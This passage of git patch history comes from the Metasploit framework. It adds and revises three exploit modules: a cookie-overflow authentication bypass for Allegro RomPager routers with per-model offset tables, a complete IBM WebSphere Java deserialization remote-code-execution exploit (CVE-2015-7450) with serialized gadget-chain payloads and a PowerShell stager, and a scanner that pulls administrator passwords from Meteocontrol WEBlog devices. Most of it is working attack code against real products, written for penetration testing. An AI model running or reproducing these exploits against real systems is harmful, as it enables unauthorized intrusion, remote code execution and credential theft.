[107371218, 13] + ]}, + :'DSL-2520U'=> + {:name=>'D-Link', :model=>'DSL-2520U', :values=>[ + [107368902, 25] + ]}, + :'DSL-2600U'=> + {:name=>'D-Link', :model=>'DSL-2600U', :values=>[ + [107366496, 13], + [107360133, 20] + ]}, + :'TD-8616'=> + {:name=> 'TP-Link', :model=>'TD-8616', :values=>[ + [107371483, 21], + [107369790, 17], + [107371161, 1], + [107371426, 17], + [107370211, 5], + ]}, + :'TD-8817'=> + {:name=> 'TP-Link', :model=>'TD-8817', :values=>[ + [107369790, 17], + [107369788, 1], + [107369522, 25], + [107369316, 21], + [107369321, 9], + [107351277, 20] + ]}, + :'TD-8820'=> + {:name=>'TP-Link', :model=>'TD-8820', :values=>[ + [107369768, 17] + ]}, + :'TD-8840T'=> + {:name=>'TP-Link', :model=>'TD-8840T', :values=>[ + [107369845, 5], + [107369790, 17], + [107369570, 1], + [107369766, 1], + [107369764, 5], + [107369688, 17] + ]}, + :'TD-W8101G'=> + {:name=>'TP-Link', :model=>'TD-W8101G', :values=>[ + [107367772, 37], + [107367808, 21], + [107367751, 21], + [107367749, 13], + [107367765, 25], + [107367052, 25], + [107365835, 1] + ]}, + :'TD-W8151N'=> + {:name=>'TP-Link', :model=>'TD-W8151N', :values=>[ + [107353867, 24] + ]}, + :'TD-W8901G'=> + {:name=> 'TP-Link', :model=>'TD-W8901G', :values=>[ + [107367787, 21], + [107368013, 5], + [107367854, 9], + [107367751, 21], + [107367749, 13], + [107367765, 25], + [107367682, 21], + [107365835, 1], + [107367052, 25] + ]}, + :'TD-W8901GB'=> + {:name=>'TP-Link', :model=>'TD-W8901GB', :values=>[ + [107367756, 13], + [107369393, 21] + ]}, + :'TD-W8901N'=> + {:name=>'TP-Link', :model=>'TD-W8901N', :values=>[ + [107353880, 0] + ]}, + :'TD-W8951ND'=> + {:name=>'TP-Link', :model=>'TD-W8951ND', :values=>[ + [107369839, 25], + [107369876, 13], + [107366743, 21], + [107364759, 25], + [107364759, 13], + [107364760, 21] + ]}, + :'TD-W8961NB'=> + {:name=>'TP-Link', :model=>'TD-W8961NB', :values=>[ + [107369844, 17], + [107367629, 21], + [107366421, 13] + ]}, + :'TD-W8961ND'=> + {:name=>'TP-Link', :model=>'TD-W8961ND', :values=>[ + [107369839, 25], + [107369876, 13], + [107364732, 25], + [107364771, 37], + [107364762, 29], + [107353880, 0], + [107353414, 36] + ]}, + :'P-660R-T3 v3'=> #This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s + {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ + [107369567, 21] + ]}, + :'P-660RU-T3 v2'=> #Couldn't verify this + {:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[ + [107369567, 21] + ]}, + } end - def auxiliary_commands - { "devices" => "List known vulnerable devices" } - end - # Command for listing all devivces with known values, for bypass to work - def cmd_devices(*args) - tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "List of vulnerable devices", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => - [ - 'ID', - 'Name', - 'Model', - 'Firmware', - 'Number', - 'Offset' - ]) - counter = 0 - for device in devices_list - tbl << [counter, device[:name], device[:model], device[:fw], device[:number], device[:offset] ] - counter += 1 + def check_response_fingerprint(res, fallback_status) + fp = http_fingerprint(response: res) + vprint_status("Fingerprint: #{fp}") + if /realm="(?.+)"/ =~ fp + return model end - print tbl.to_s + fallback_status end def run - cookie = '' - begin - cookie_number = devices_list[datastore['DEVICE']][:number].to_s - cookie_offset = devices_list[datastore['DEVICE']][:offset] - cookie = 'C' + cookie_number + '=' + 'B' * cookie_offset + "\x00" - rescue - print_error('Device number is out of range, please run devices to see list of vulnerable devices') - end - print_status('Device name: ' + devices_list[datastore['DEVICE']][:name]) - print_status('Device model: ' + devices_list[datastore['DEVICE']][:model]) - print_status('Device firmware: ' + devices_list[datastore['DEVICE']][:fw]) res = send_request_raw( 'uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET', - 'headers' => headers.merge('Cookie' => cookie) ) - if res != nil and res.code <= 302 # This may give wrong results if run against non rom-pager devices - print_good('Exploit sent, please check host, authentication should be disabled') + model = check_response_fingerprint(res, Exploit::CheckCode::Detected) + if model != Exploit::CheckCode::Detected + devices = devices_list[model.to_sym] + if devices != nil + print_good("Detected device:#{devices[:name]} #{devices[:model]}") + devices[:values].each { |value| + cookie = "C#{value[0]}=#{'B'*value[1]}\x00" + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'headers' => headers.merge('Cookie' => cookie) + ) + if res != nil and res.code <= 302 + print_good('Good response, please check host, authentication should be disabled') + break + else + print_error('Bad response') + end + } + else + print_error("No matching values for fingerprint #{model}") + end else - print_error('Exploit failed') + print_error('Unknown device') end end end From 3125dc2fe9a6260b536b8487782fdff0a3274801 Mon Sep 17 00:00:00 2001 From: j91321 Date: Fri, 30 Dec 2016 23:53:48 +0100 Subject: [PATCH 018/426] Change typo in docs --- .../auxiliary/admin/http/allegro_rompager_auth_bypass.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md index 2d7430753c..1ac7f61ba0 100644 --- a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md @@ -109,7 +109,7 @@ Module options (auxiliary/admin/http/allegro_rompager_auth_bypass): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST 90.178.222.214 yes The target address + RHOST 192.168.1.1 yes The target address RPORT 80 yes The target port SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes URI to test From 8534fde50fc495c94b081dfb6fe32eca975ba6e3 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Tue, 3 Jan 2017 16:04:51 +0200 Subject: [PATCH 019/426] Websphere Java Deserialization (RCE) This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability. --- .../misc/websphere_java_deserialize.rb | 116 ++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 modules/exploits/windows/misc/websphere_java_deserialize.rb diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb new file mode 100644 index 0000000000..c8dfca7ac9 --- /dev/null +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization + call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows + remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Liatsis Fotios @liatsisfotios', # Metasploit Module + '...', + 'Credits to:', + 'Kyprianos Vasilopoulos @kavasilo', + 'Dimitriadis Alexios @AlxDm_', + 'Kotsiopoulos Panagiotis' + ], + 'References' => + [ + ['CVE', 'CVE-2015-7450'], + ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], + ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], + ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171'] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'IBM WebSphere 7.0.0.0', {} ] + ], + 'DisclosureDate' => "Nov 6 2015", + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true + })) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to IBM\'s WebSphere SOAP port', '/']), + Opt::RPORT('8880') + ], self.class) + end + + + def exploit + # Decode - Generate - Set Payload / Send SOAP Request + soap_request(set_payload) + end + + def set_payload + # CommonCollections1 Serialized Streams + ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ=" + ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=" + + # Generate Payload + payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end) + payload_exec = Base64.strict_encode64(payload_exec) + end + + def invoke_ccs(serialized_stream) + # Decode Serialized Streams + serialized_stream = Base64.decode64(serialized_stream) + end + + def gen_payload + # Staging Native Payload + exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "") + + # Size up RCE - Buffer + cmd_lng = exec_cmd.length + lng2str = "0" + cmd_lng.to_s(16) + buff = [lng2str].pack("H*") + + rce_pld = buff + exec_cmd + end + + def soap_request(inject_payload) + # SOAP Request + req = "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "BasicAuth" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + inject_payload + "" + "\r\n" + req += "ringBufferSize" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + req += "" + "\r\n" + + uri = target_uri.path + + res = send_request_raw({ + 'method' => 'POST', + 'version' => '1.1', + 'raw_headers' => "Content-Type: text/xml; charset=utf-8\r\nSOAPAction: \"urn:AdminService\"\r\n", + 'uri' => normalize_uri(uri), + 'data' => req + }) + end + +end From 0722944b47176109344aa88b77c7d6c681751100 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Tue, 3 Jan 2017 21:38:32 +0200 Subject: [PATCH 020/426] Invalid CVE format fixed --- modules/exploits/windows/misc/websphere_java_deserialize.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index c8dfca7ac9..7784230c9d 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ - ['CVE', 'CVE-2015-7450'], + ['CVE', 'CVE-2015-7450'], ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171'] From b06c5bac2fc4c687ad1b5d409ae59874cf15fbaf Mon Sep 17 00:00:00 2001 From: wizard32 Date: Tue, 3 Jan 2017 21:45:22 +0200 Subject: [PATCH 021/426] Invalid CVE format and Spaces at EOL fixed --- modules/exploits/windows/misc/websphere_java_deserialize.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index 7784230c9d..59ff8d7d4b 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ - ['CVE', 'CVE-2015-7450'], + ['CVE', '2015-7450'], ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171'] @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote end def gen_payload - # Staging Native Payload + # Staging Native Payload exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "") From 82e49fb27ed118fb865654a758e59817accbac0c Mon Sep 17 00:00:00 2001 From: wizard32 Date: Wed, 4 Jan 2017 10:23:48 +0200 Subject: [PATCH 022/426] Update websphere_java_deserialize.rb --- .../windows/misc/websphere_java_deserialize.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index 59ff8d7d4b..ab1ec67c33 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -23,11 +23,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => [ 'Liatsis Fotios @liatsisfotios', # Metasploit Module - '...', - 'Credits to:', - 'Kyprianos Vasilopoulos @kavasilo', - 'Dimitriadis Alexios @AlxDm_', - 'Kotsiopoulos Panagiotis' + + # Thanks for helping me: + # Kyprianos Vasilopoulos @kavasilo + # Dimitriadis Alexios @AlxDm_ + # Kotsiopoulos Panagiotis ], 'References' => [ From 9f4be893916990ab2fef3a607b3cde498d88d792 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Thu, 5 Jan 2017 12:38:54 +0200 Subject: [PATCH 023/426] Update websphere_java_deserialize.rb Update information "Options" field --- .../windows/misc/websphere_java_deserialize.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index ab1ec67c33..026c0da3ed 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -25,9 +25,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Liatsis Fotios @liatsisfotios', # Metasploit Module # Thanks for helping me: - # Kyprianos Vasilopoulos @kavasilo - # Dimitriadis Alexios @AlxDm_ - # Kotsiopoulos Panagiotis + # # # # # # # # # # # # + + # Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module + # Dimitriadis Alexios @AlxDm_ # Assistance and code check + # Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation ], 'References' => [ @@ -48,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote })) register_options([ - OptString.new('TARGETURI', [true, 'The base path to IBM\'s WebSphere SOAP port', '/']), + OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']), Opt::RPORT('8880') ], self.class) end From 1a38caa2306f2eecd2ad25b03264d479200eb584 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Thu, 5 Jan 2017 13:07:34 +0200 Subject: [PATCH 024/426] Encode - Decode code Updated --- .../windows/misc/websphere_java_deserialize.rb | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index 026c0da3ed..1ff4af015e 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -23,13 +23,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => [ 'Liatsis Fotios @liatsisfotios', # Metasploit Module - - # Thanks for helping me: - # # # # # # # # # # # # - - # Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module - # Dimitriadis Alexios @AlxDm_ # Assistance and code check - # Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation ], 'References' => [ @@ -68,12 +61,12 @@ class MetasploitModule < Msf::Exploit::Remote # Generate Payload payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end) - payload_exec = Base64.strict_encode64(payload_exec) + payload_exec = Rex::Text.encode_base64(payload_exec) end def invoke_ccs(serialized_stream) # Decode Serialized Streams - serialized_stream = Base64.decode64(serialized_stream) + serialized_stream = Rex::Text.decode_base64(serialized_stream) end def gen_payload From c29a9ac00f88aeb6fb4ed2c38e265310916ea0a9 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Thu, 5 Jan 2017 14:18:38 +0200 Subject: [PATCH 025/426] Show Info updated --- modules/exploits/windows/misc/websphere_java_deserialize.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index 1ff4af015e..dc5d3ace26 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Liatsis Fotios @liatsisfotios', # Metasploit Module + 'Liatsis Fotios @liatsisfotios' # Metasploit Module ], 'References' => [ From 1d82ee047030835edbbf90f86c2efe8c33b5e5c5 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Thu, 5 Jan 2017 15:17:17 +0200 Subject: [PATCH 026/426] 'raw_headers' field Updated --- .../exploits/windows/misc/websphere_java_deserialize.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index dc5d3ace26..90a809d755 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -23,6 +23,13 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => [ 'Liatsis Fotios @liatsisfotios' # Metasploit Module + + # Thanks for helping me: + # # # # # # # # # # # # + + # Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module + # Dimitriadis Alexios @AlxDm_ # Assistance and code check + # Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation ], 'References' => [ From c55e2e58f01097dd50b56bf88398c1d4a9c1dc8f Mon Sep 17 00:00:00 2001 From: wizard32 Date: Thu, 5 Jan 2017 15:19:17 +0200 Subject: [PATCH 027/426] 'raw_headers' Updated --- modules/exploits/windows/misc/websphere_java_deserialize.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index 90a809d755..d520704189 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_raw({ 'method' => 'POST', 'version' => '1.1', - 'raw_headers' => "Content-Type: text/xml; charset=utf-8\r\nSOAPAction: \"urn:AdminService\"\r\n", + 'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n", 'uri' => normalize_uri(uri), 'data' => req }) From 39423a70a7d9e90c2e42a9f6a82d263928b68965 Mon Sep 17 00:00:00 2001 From: juushya Date: Fri, 6 Jan 2017 15:20:41 +0530 Subject: [PATCH 028/426] Add Meteocontrol Weblog Extract Admin password module --- .../http/meteocontrol_weblog_extractadmin.rb | 133 ++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb new file mode 100644 index 0000000000..aeefa7a895 --- /dev/null +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Meteocontrol WEBlog Password Extractor', + 'Description' => %{ + This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal. + }, + 'References' => + [ + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ], + [ 'CVE', '2016-2296' ], + [ 'CVE', '2016-2298' ] + ], + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly. + ], self.class) + end + + def run_host(ip) + unless is_app_metweblog? + return + end + + do_extract + end + + # + # Check if App is Meteocontrol WEBlog + # + + def is_app_metweblog? + begin + res = send_request_cgi( + { + 'uri' => '/html/en/index.html', + 'method' => 'GET' + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res and res.code == 200 and (res.headers['Server'] and res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log"))) + print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...") + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.") + return false + end + end + + # + # Extract Administrator Password + # + + def do_extract() + + print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...") + begin + res = send_request_cgi( + { + 'uri' => '/html/en/confAccessProt.html', + 'method' => 'GET' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return + end + + if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/) + get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/) + admin_password = get_admin_password[1] + print_good("#{rhost}:#{rport} - Password is #{admin_password}") + report_cred( + ip: rhost, + port: rport, + service_name: 'Meteocontrol WEBlog Management Portal', + password: admin_password, + proof: res.body) + else + # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases. + print_error("Password not found. Check login manually.") + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end +end From 538a1bf21dc58c1c394dc50f9a1aec4b5f79f238 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Fri, 6 Jan 2017 18:11:48 +0200 Subject: [PATCH 029/426] 'WfsDelay' Option added 20sec added on 'WfsDelay' Option for first time exploit run due to the delay of powershell to load all the available modules. --- modules/exploits/windows/misc/websphere_java_deserialize.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index d520704189..bec0a727f3 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -47,6 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true + 'WfsDelay' => 20 })) register_options([ From 829f7da7e07dcb47720361689ba42475618733fb Mon Sep 17 00:00:00 2001 From: wizard32 Date: Fri, 6 Jan 2017 18:39:04 +0200 Subject: [PATCH 030/426] Update websphere_java_deserialize.rb --- modules/exploits/windows/misc/websphere_java_deserialize.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index bec0a727f3..348972b6a5 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => "Nov 6 2015", 'DefaultTarget' => 0, 'DefaultOptions' => { - 'SSL' => true + 'SSL' => true, 'WfsDelay' => 20 })) From 93168648b4f9843ccb71dc702ccacde3e945870e Mon Sep 17 00:00:00 2001 From: juushya Date: Sun, 8 Jan 2017 13:28:07 +0530 Subject: [PATCH 031/426] Minor update in description --- .../auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb index aeefa7a895..4e8a42aa61 100644 --- a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Meteocontrol WEBlog Password Extractor', 'Description' => %{ - This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal. + This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models) to extract Administrator password for the device management portal. }, 'References' => [ From dc33d417e029e8970342eb257343397164a9745f Mon Sep 17 00:00:00 2001 From: juushya Date: Sun, 8 Jan 2017 13:44:38 +0530 Subject: [PATCH 032/426] Add Meteocontrol Weblog Doc - PR #7790 --- .../http/meteocontrol_weblog_extractadmin.md | 54 +++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md diff --git a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md 